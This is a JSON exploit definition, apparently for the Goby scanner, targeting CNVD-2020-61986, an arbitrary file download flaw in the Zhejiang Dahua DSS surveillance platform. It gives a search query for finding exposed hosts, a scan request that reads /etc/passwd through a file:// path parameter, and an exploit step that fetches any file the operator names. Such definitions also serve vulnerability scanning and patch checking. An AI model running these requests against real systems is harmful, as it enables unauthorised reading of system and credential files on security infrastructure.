{
      "Name": "Zhejiang Dahua DSS System Filedownload CNVD-2020-61986",
      "Level": "1",
      "Tags": [
            "filedownload"
      ],
      "GobyQuery": "title=\"DSS-平安城市\"",
      "Description": "Zhejiang Dahua DSS (digital surveillance system) is a comprehensive management platform that integrates the management functions of four security subsystems: video, alarm, access control and intercom.",
      "Product": "Zhejiang Dahua DSS (digital surveillance system)",
      "Homepage": "https://www.dahuatech.com/",
      "Author": "",
      "Impact": "Zhejiang Dahua DSS System FIledownload.",
      "Recommendation": "",
      "References": [
            "https://www.cnvd.org.cn/flaw/show/CNVD-2020-61986"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "file",
                  "Type": "input",
                  "Value": "/etc/passwd"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/itc/attachment_downloadByUrlAtt.action?filePath=file://{{{file}}}",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|undefined|undefined"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}